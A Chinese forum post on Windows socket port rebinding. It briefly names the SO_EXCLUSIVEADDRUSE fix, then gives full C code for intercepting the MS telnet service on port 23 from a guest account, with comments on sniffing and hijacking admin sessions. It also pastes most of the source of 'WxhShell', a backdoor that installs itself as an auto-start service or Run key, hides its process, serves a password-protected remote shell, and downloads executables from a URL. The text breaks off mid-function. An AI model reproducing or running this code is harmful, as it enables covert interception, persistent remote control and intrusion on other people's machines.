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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &*C5Nnlv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b 7UJ  
6 ':iW~iI  
  saddr.sin_family = AF_INET; z3o i(  
+y GQt3U  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '! [oLy  
b)LT[>f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /*K2i5&X  
p4`1^}f&Ie  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H_+n_r*  
dY*q[N/pO  
  这意味着什么?意味着可以进行如下的攻击: RB5SK#z  
Harg<l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2u"lc'9v  
y0zMK4b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +iVEA(0&$  
.tngN<f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]<;,HGO  
RK3y q$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JJ?{V:  
_P>YG<*"kQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iOE. .xA:  
k]b*&.EY1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iI3:<j l  
xoaO=7\io  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q;M\fBQO}&  
k6G _c;V  
  #include ^h(wi`i  
  #include !X>u.}?g  
  #include =2Y;)wrF  
  #include    qQ@| Cj  
  DWORD WINAPI ClientThread(LPVOID lpParam);    @/2Kfr  
  int main() _( W@FS  
  { Cux(v8=n  
  WORD wVersionRequested; .Y)[c. ,j  
  DWORD ret; 2*#|t: (c  
  WSADATA wsaData; F:{*4b  
  BOOL val; rIyH/=;  
  SOCKADDR_IN saddr; ^^y eC|~N:  
  SOCKADDR_IN scaddr; 7)66e  
  int err; {SoI;o_>  
  SOCKET s; ui8 Q2{z  
  SOCKET sc; $a(-r-_Fi]  
  int caddsize; NBikYxa  
  HANDLE mt; P4zo[R%4  
  DWORD tid;   .sMs_ 5D  
  wVersionRequested = MAKEWORD( 2, 2 ); 12$0-@U  
  err = WSAStartup( wVersionRequested, &wsaData ); 6Q.S  
  if ( err != 0 ) { &|yLTx  
  printf("error!WSAStartup failed!\n"); q z)2a2C  
  return -1; 3jmo[<p*x  
  } k.J%rRneN  
  saddr.sin_family = AF_INET; 2u{~35  
   !MbzFs~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]5%0EE64  
<-lM9}vd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (vXr2Z<l  
  saddr.sin_port = htons(23); F(")ga$r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lExQp2E  
  { U(&c@u%  
  printf("error!socket failed!\n"); ;vx5 =^7P  
  return -1; cNll??j  
  } Vk5Z[w a  
  val = TRUE; 5Xy(za  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _]:b@gXUw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ('J/Ww<  
  { So%X(, |  
  printf("error!setsockopt failed!\n"); woI5aee|  
  return -1; C{)1#<`  
  } K#"=*p,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u@a){ A(P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lg%fjBY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1" '3/MFQ8  
DE13x *2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) B|`?hw@g+  
  { CEfqFn3^  
  ret=GetLastError(); DP_b9o \5  
  printf("error!bind failed!\n"); 7?lz$.*Avp  
  return -1; z8=THz2f  
  } $QbJT`,mr  
  listen(s,2); zDF Nx:h  
  while(1) xj5TnE9^  
  { 1 UQ,V`y  
  caddsize = sizeof(scaddr); X G#?fr}L  
  //接受连接请求 ` w;Wud'*<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  lKbWQ>  
  if(sc!=INVALID_SOCKET) s,R:D).  
  { g{&5a(W&`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7cc^n\c?Y  
  if(mt==NULL) =DwLNyjU4  
  { 0 kJ8H!~u  
  printf("Thread Creat Failed!\n"); ?mMM{{%(.  
  break; ]($ \7+  
  } zC50 @S3|  
  } w4L()eP#?=  
  CloseHandle(mt); QQ?t^ptv  
  } bH+NRNI]  
  closesocket(s); k(H&Af+  
  WSACleanup(); fW = N  
  return 0; d` GN!^  
  }   V x#M!os0  
  DWORD WINAPI ClientThread(LPVOID lpParam) X5owAc6  
  { `2>p#`  
  SOCKET ss = (SOCKET)lpParam; $f@YQN=  
  SOCKET sc; MlTC?Rp#  
  unsigned char buf[4096]; coCT]<  
  SOCKADDR_IN saddr; stiF`l  
  long num; jCY~Wc  
  DWORD val; !mv5i%3  
  DWORD ret; ?}`- ?JB1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &mX_\w /%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NX\AQVy9  
  saddr.sin_family = AF_INET; izSX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (iKJ~bJ  
  saddr.sin_port = htons(23); ^i@anbH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~d7t\S  
  { ;*?>w|t}w  
  printf("error!socket failed!\n"); HMVP71  
  return -1;  Z 9:  
  } :2lpl%/  
  val = 100; &G2&OFAr]q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4?Y7. :x  
  { 6uD<E  
  ret = GetLastError(); +cfcr*  
  return -1; iw#~xel<ez  
  } ;PaU"z+Je~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0SvPr [ >  
  { Oj-\  
  ret = GetLastError(); l%}q&_  
  return -1; .B~}hjOZK  
  } af<h2 r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RP$u/x"b  
  { g}!{_z  
  printf("error!socket connect failed!\n"); CUJq [  
  closesocket(sc); TG;[,oa  
  closesocket(ss); YE@yts  
  return -1; D?#l8  
  } n*"r!&Dg  
  while(1) /"J 6``MV  
  { R?u(aY)P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IP/%=m)\%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HW]?%9a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~AjPa}@ f  
  num = recv(ss,buf,4096,0); 7j)ky2r#  
  if(num>0) $y6 <2w%b  
  send(sc,buf,num,0); t Cb34Wpf  
  else if(num==0) WOZuFS13  
  break; $B8Vg `+  
  num = recv(sc,buf,4096,0); .K84"Gdx  
  if(num>0)  @_f^AQ  
  send(ss,buf,num,0); 46]BRL2 G  
  else if(num==0) 3!8(A/YP;  
  break; \dCGu~bT  
  } 7;|"1H:cmw  
  closesocket(ss); A:Wr5`FJ  
  closesocket(sc); {U2AAQSa  
  return 0 ; 4GP?t4][  
  } I#xdksY  
6!>p<p"Ns  
Uj;JN}k  
========================================================== $M)SsD~  
A:ts_*  
下边附上一个代码,,WXhSHELL nQQHm6N  
zc8^#D2y&  
========================================================== 9;Z{++z  
{[#)Q.2  
#include "stdafx.h" B!pz0K*uG  
9vP;i= fr  
#include <stdio.h> 0?$|F0U"J  
#include <string.h> 8OZasf  
#include <windows.h> WYb}SI(E  
#include <winsock2.h> i=\)[;U  
#include <winsvc.h> x?o#}:S  
#include <urlmon.h> {Z k^J  
iXy1{=BDv  
#pragma comment (lib, "Ws2_32.lib") ~(v5p"]dj  
#pragma comment (lib, "urlmon.lib") 5H.~pc2y  
%d];h  
#define MAX_USER   100 // 最大客户端连接数 keLeD1  
#define BUF_SOCK   200 // sock buffer Q k}RcP  
#define KEY_BUFF   255 // 输入 buffer #M|lBYdW}  
@Pk<3.S0  
#define REBOOT     0   // 重启 we[+6Z6J  
#define SHUTDOWN   1   // 关机 ]}lt^7\=  
BW)-F (v   
#define DEF_PORT   5000 // 监听端口 f~wON>$K  
eMnK@J  
#define REG_LEN     16   // 注册表键长度 qr4 lr!#t  
#define SVC_LEN     80   // NT服务名长度 4 9N.P;b  
B?i#m^S  
// 从dll定义API Q&.uL}R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2, )>F"R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {)"[_<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h"+7cc@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); te( H6c#0  
avq$aq(3&  
// wxhshell配置信息 F8Ety^9>9  
struct WSCFG { ;iuwIdo6c  
  int ws_port;         // 监听端口 chL1r9V)v  
  char ws_passstr[REG_LEN]; // 口令 g8uqW1E^  
  int ws_autoins;       // 安装标记, 1=yes 0=no >fWGiFmlk  
  char ws_regname[REG_LEN]; // 注册表键名 3bWGWI  
  char ws_svcname[REG_LEN]; // 服务名 Op-z"inw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x7/Vf,N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _l9fNf!@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y/\b0&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  j5/pVXO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q~nVbj?c2v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IMwV9rF  
'Wnh1|z  
}; 3h:~NL  
boEQI=!j\+  
// default Wxhshell configuration *|Vf1R]  
struct WSCFG wscfg={DEF_PORT, 7*uN[g#p  
    "xuhuanlingzhe", DWOf\[  
    1, }y6@YfV${  
    "Wxhshell", r%f Q$q>  
    "Wxhshell", iSO xQ  
            "WxhShell Service", 5zBA]1PY  
    "Wrsky Windows CmdShell Service", ^nNY| *  
    "Please Input Your Password: ", ~\JB)ca.  
  1, */h(4Hz  
  "http://www.wrsky.com/wxhshell.exe", k)-+ZmMOh  
  "Wxhshell.exe" Gw3+TvwU+Q  
    }; &Tt7VYJfIV  
uX_#NP/2  
// 消息定义模块 ]%D!-[C%1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g ZtQtFi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `15}jTi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \JM6zR^Ef  
char *msg_ws_ext="\n\rExit."; N62;@Z\7  
char *msg_ws_end="\n\rQuit."; CWkWW/ZI  
char *msg_ws_boot="\n\rReboot..."; <&b,%O  
char *msg_ws_poff="\n\rShutdown..."; )!27=R/  
char *msg_ws_down="\n\rSave to "; xF!IT"5D  
8<; .  
char *msg_ws_err="\n\rErr!"; I%r7L  
char *msg_ws_ok="\n\rOK!"; Ld*Ds!*'/  
u!D?^:u=)  
char ExeFile[MAX_PATH]; 2x<BU3  
int nUser = 0; 4A@HR  
HANDLE handles[MAX_USER]; 0bh 6ay4  
int OsIsNt; [8za=B/  
1R8tR#l  
SERVICE_STATUS       serviceStatus; &6CDIxH{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NOs00H  
Q.$8>)  
// 函数声明 {2q"9Ox"  
int Install(void); X'$H'[8;C  
int Uninstall(void); mh"PAp  
int DownloadFile(char *sURL, SOCKET wsh); 9ad)=3A&L  
int Boot(int flag); E|;>!MMA;  
void HideProc(void); c\ZI 5&4jT  
int GetOsVer(void); [xM&Jdf8  
int Wxhshell(SOCKET wsl); _qPKdGoM  
void TalkWithClient(void *cs); {D8opepO)  
int CmdShell(SOCKET sock); IrYj#,xJ  
int StartFromService(void); v+x<X5u  
int StartWxhshell(LPSTR lpCmdLine); p+iNi4y@  
k^d]EF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8g8eY pG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $)*qoV  
eMdP4<u  
// 数据结构和表定义 tF,`v{-up  
SERVICE_TABLE_ENTRY DispatchTable[] = n#"G)+h3#  
{ b&yuy  
{wscfg.ws_svcname, NTServiceMain}, SN"Y@y)=  
{NULL, NULL} D6lzc f  
}; rOLZiET  
DC).p'0VL  
// 自我安装 \1<aBgK i  
int Install(void) ,1 H|{<  
{ h(kPf ]0  
  char svExeFile[MAX_PATH]; {=?[:5  
  HKEY key; rx| ,DI  
  strcpy(svExeFile,ExeFile);  lPz`?Hn  
p}==aNZK  
// 如果是win9x系统,修改注册表设为自启动 lmcgOTT):  
if(!OsIsNt) { j9c:SP5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uDG>m7(}/h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i;~.kgtq4  
  RegCloseKey(key); Ge=6l0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &^&0,g?To  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9?sY!gXc  
  RegCloseKey(key); gcwJ{&  
  return 0; T] H 'l  
    } Zt41fPQ  
  } ? .B t.  
} /Cwwz  
else { hB<(~L? A]  
%Qj$@.*:  
// 如果是NT以上系统,安装为系统服务 1h`F*:nva  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zE8_3UC  
if (schSCManager!=0) F&p42!"  
{ "MzBy)4Q  
  SC_HANDLE schService = CreateService d\Up6F  
  ( ;K l'[~z  
  schSCManager, a%m >v,  
  wscfg.ws_svcname, P;XA|`&  
  wscfg.ws_svcdisp, )Dv;,t  
  SERVICE_ALL_ACCESS, 9:%')M&Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (JOR: 1aT  
  SERVICE_AUTO_START, 8rJf2zL  
  SERVICE_ERROR_NORMAL, PU\xFt  
  svExeFile,  7a_u=\,  
  NULL, Tl"r#  
  NULL, /w6'tut  
  NULL, V?T&>s  
  NULL, ?Nt m5(R  
  NULL mV}8s]29  
  ); _W Hi<,-  
  if (schService!=0) 3^H-,b0^  
  { :zIB3nT^  
  CloseServiceHandle(schService); :`BG/  
  CloseServiceHandle(schSCManager); HYdt3GtJ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @QpL*F  
  strcat(svExeFile,wscfg.ws_svcname); x^`P[>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,Cm1~ExJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b H5lLcdf  
  RegCloseKey(key); phA{jJy?  
  return 0; OWr\$lm@z$  
    } FD~uUZTM  
  } (3x2^M8  
  CloseServiceHandle(schSCManager); ;l `(1Q/  
} A] 'XC"lS  
} j~in%|^  
&F0>V o  
return 1; |1!OwQax  
} m=iKu(2xRq  
rV%;d[LB  
// 自我卸载 P|fh4b4  
int Uninstall(void) K.?S,qg  
{ Y)S f;  
  HKEY key; sx[mbKj<  
h=au`o&CG  
if(!OsIsNt) { F CfU=4O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cw.DLg  
  RegDeleteValue(key,wscfg.ws_regname); 1X&scVw  
  RegCloseKey(key); \Z/0i|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8"wavh|g4  
  RegDeleteValue(key,wscfg.ws_regname); ^D {v L  
  RegCloseKey(key); @-1VN;N  
  return 0; FSZ :}Q  
  } 6l|SGt\  
} '<C#"2  
} uF*tlaV6  
else { eg"!.ol  
D0gz ((  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kI*f}3)Y  
if (schSCManager!=0) UPuG&A#VV  
{ I'R|B\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b]Lp_t  
  if (schService!=0) >6zWOYd  
  { *U,W4>(B  
  if(DeleteService(schService)!=0) { %SMP)4Y/R  
  CloseServiceHandle(schService); f1Gyl  
  CloseServiceHandle(schSCManager); M1Th~W9l  
  return 0; U4y ?z  
  } 7I@@}A  
  CloseServiceHandle(schService); +227SPLd  
  } `=W#owAF  
  CloseServiceHandle(schSCManager); kgFx  
} 1 u~.^O}J  
} sGbk4g  
Ot!*,%sjQ  
return 1; HO8x:2m  
} JZrZDW>M  
rEs Gf+4  
// 从指定url下载文件 ozG!OiRW  
int DownloadFile(char *sURL, SOCKET wsh) q9m-d-!)  
{ <K~mg<ff$  
  HRESULT hr; V7Mp<x%  
char seps[]= "/"; Dj{t[z]$k  
char *token; ].*I Z  
char *file; + gP 4MP  
char myURL[MAX_PATH]; [/eRc  
char myFILE[MAX_PATH]; 8IihG \  
rWzO> v  
strcpy(myURL,sURL); \]p[DYBY#  
  token=strtok(myURL,seps); 7`t[|o  
  while(token!=NULL) P*8DM3':  
  { zlN<yZB^  
    file=token; m"8Gh `Fo  
  token=strtok(NULL,seps); h*zHmkFR  
  } 3ES3, uR  
,~xX[uB  
GetCurrentDirectory(MAX_PATH,myFILE); @D&}ZV=J  
strcat(myFILE, "\\"); =5X(RGK  
strcat(myFILE, file); 6 g`Y~ii  
  send(wsh,myFILE,strlen(myFILE),0); J*'#! xIa  
send(wsh,"...",3,0); T,Zfz9{n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3SWO_  
  if(hr==S_OK) UZRCJ  
return 0; o;Ma)/P  
else 6):^m{RH^  
return 1; xs3t~o3y  
d<^o@  
} .6nNqGua1  
ZU-vZD>  
// 系统电源模块 }CXL\, ;  
int Boot(int flag) q`DilZ]S  
{ SPK% ' s  
  HANDLE hToken; J$Nc9 ?|ZZ  
  TOKEN_PRIVILEGES tkp; Qk.:b  
V$XCe  
  if(OsIsNt) { 8g CQ0w<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A#B6]j)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /iekww^54  
    tkp.PrivilegeCount = 1; \%D/]"@r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8 m T..23  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v"dj%75O?e  
if(flag==REBOOT) { 89{@2TXR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2K1odqO#   
  return 0; <rs"$JJV  
} j4G?=oDb  
else { w\z6-qa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tv1Z%Mx?Cp  
  return 0; )cX6o[oia  
} " )87GQ(R  
  } Q]}aZ4L  
  else { 7Ed6o  
if(flag==REBOOT) { ,TAzJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tv{X$`%  
  return 0; _jW}p-j  
} ua]>0\D  
else { 6mi: %)"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hh!^^emo  
  return 0; iX{Lc+u3  
} T]%:+_,  
} +EWfsKz  
M)oy3y^&  
return 1; {)QSxO  
} xN +j]L C  
.D`""up|{  
// win9x进程隐藏模块 5`B ! 1  
void HideProc(void) ;(0E#hGN  
{ |hprk-R*OH  
zl W 5$cC[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {T]^C  
  if ( hKernel != NULL ) tC=`J%Ik  
  { ]~SOGAFW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =2z9Aq{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QJaF6>m  
    FreeLibrary(hKernel); :{d?B$  
  } xJ|3}o:,  
x*A_1_A  
return; os]P6TFFX?  
} luyU!  
P-?ya!@"  
// 获取操作系统版本 1R1DK$^c  
int GetOsVer(void) ,rB"ag !  
{ YJlpP0;++  
  OSVERSIONINFO winfo; lkWID  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +K3SAGm  
  GetVersionEx(&winfo); {o?+T );Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CV~\xYY  
  return 1; \k{UqU+s  
  else pr2b<(Pm  
  return 0; \@6nRs8b|N  
} +6=2B0$ r  
)19As8rL/o  
// 客户端句柄模块 &VIX?UngE  
int Wxhshell(SOCKET wsl) F j_r n  
{ NM0[yh  
  SOCKET wsh; Cz2OGM*mz?  
  struct sockaddr_in client; wL'tGAv  
  DWORD myID; m]yt6b4  
#OKzJ"g  
  while(nUser<MAX_USER) Fg3VD(D^U  
{ y`?{ 2#1H  
  int nSize=sizeof(client); fI2/v<[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jl^Rz;bQ-  
  if(wsh==INVALID_SOCKET) return 1; }E5oa\ 1u  
E\V-< ]o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y"G U"n~  
if(handles[nUser]==0) }s_'q~R  
  closesocket(wsh); ESk<*-  
else bwjjwu&  
  nUser++; ffuV158a&  
  } sN^3bfi!i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <_HK@E<_HO  
3"O)"/"Q.  
  return 0; )P:r;a'  
} yub|   
8Z TN  
// 关闭 socket 93="sS  
void CloseIt(SOCKET wsh) ~c~$2Xo  
{ IL?mt2IQ>  
closesocket(wsh); cTO\Vhg  
nUser--; sh []OSM  
ExitThread(0); >E;-asD  
} lW^bn(_gQ  
KdT1Nb=  
// 客户端请求句柄 V[<]BOM\v  
void TalkWithClient(void *cs) j';V(ZY&BB  
{ ;b=3iT-2"  
adG=L9 "n  
  SOCKET wsh=(SOCKET)cs; Y6T1_XG  
  char pwd[SVC_LEN]; yUb$EMo \  
  char cmd[KEY_BUFF]; , Vz 1l_7  
char chr[1]; G3{t{XkV  
int i,j; pyEi@L1p  
=VMV^[&>  
  while (nUser < MAX_USER) { ! 6kLL  
+@]b}W  
if(wscfg.ws_passstr) { c+l1#[Dnc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0GR\iw$[J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vkdU6CZO  
  //ZeroMemory(pwd,KEY_BUFF); x0^O?UR  
      i=0; o9)pOwk7;  
  while(i<SVC_LEN) { |oq27*ix~m  
P+iZ5S\kL=  
  // 设置超时 G[4TT#  
  fd_set FdRead; \Q+9sV 5,[  
  struct timeval TimeOut; BJI}gm2y  
  FD_ZERO(&FdRead); G% wVQ|1  
  FD_SET(wsh,&FdRead); <3dmY=  
  TimeOut.tv_sec=8; S<"M5e  
  TimeOut.tv_usec=0; B4^+&B#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;[%_sVIy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iB[>uW  
L,*KgLG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "(y",!U@  
  pwd=chr[0]; Pl_4;q!$  
  if(chr[0]==0xd || chr[0]==0xa) { %(a<(3r  
  pwd=0; lWS @<j  
  break; BIf E+L(  
  } O5HK2Xg,C  
  i++; -.A%c(|Q  
    } Jx ;" @  
gakmg#ki  
  // 如果是非法用户,关闭 socket *"V5j#F_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {6%vmMbJ  
}  Ad)Po  
J(*q OGBD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {UpHHH:X#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P( >*gp  
)3<|<jwcx  
while(1) { WPVur{?<  
;K<e]RI;?  
  ZeroMemory(cmd,KEY_BUFF); &V5[Zj|]  
~[|&)}q  
      // 自动支持客户端 telnet标准   \\F^uM7,  
  j=0; 1@Dp<Q  
  while(j<KEY_BUFF) { s(56aE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %2Q:+6)  
  cmd[j]=chr[0]; BrYU*aPW;  
  if(chr[0]==0xa || chr[0]==0xd) { }:u" ?v=|j  
  cmd[j]=0; Jlw<% }r  
  break; WAPN,WuW  
  } `>CHE'_  
  j++; S,Q!Xb@  
    } 68ce+|  
*yJCnoF  
  // 下载文件 nR)/k,3W  
  if(strstr(cmd,"http://")) { K_/8MLJQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L/Cp\|~ O  
  if(DownloadFile(cmd,wsh)) /]H6'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,T3C:S?  
  else b%`^KEvwfo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j^ L"l;m  
  } ^VsX9  
  else { N ]/ N}b  
4;anoqiG\  
    switch(cmd[0]) { WP)r5;Hv`  
  r|$@Wsb?#  
  // 帮助 :;[pl|}tM  
  case '?': { +_Nr a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z3!j>X_w  
    break; a12Q/K  
  } i#/,Q1yEn  
  // 安装 KT1/PWa  
  case 'i': { d-e6hI4b  
    if(Install()) 0* Ox>O>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X0<qG  
    else IS *-MLi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2xBIfmR^y  
    break; L ]HtmI  
    }  8bQ\7jb  
  // 卸载 i}cqV B?r  
  case 'r': { g)7~vm2/,  
    if(Uninstall()) bI~ R6o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t%@sz  
    else >*DR>U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hh^EMQk  
    break; 0#\K9|.  
    } SU,S1C_q8  
  // 显示 wxhshell 所在路径 TJ k3z^.j  
  case 'p': { +Sz%2 Q  
    char svExeFile[MAX_PATH]; _5<d'fBd  
    strcpy(svExeFile,"\n\r"); VaYL#\;c<  
      strcat(svExeFile,ExeFile); a%\6L  
        send(wsh,svExeFile,strlen(svExeFile),0); <sU?q<MC  
    break; 6T-h("t  
    } #G</RYM~m  
  // 重启 B4tC3r  
  case 'b': { =;9 %Q{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x`7Ch3`4}  
    if(Boot(REBOOT)) A0mj!P9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GnAG'.t-Z  
    else { @bPR"j5D  
    closesocket(wsh); Eb 8vnB#  
    ExitThread(0); K1`Z}k_p.  
    }  :P,g,  
    break; z1dSZ0NoA  
    } 9jwcO)p^  
  // 关机 G =`-w  
  case 'd': { VO"/cG;]*  
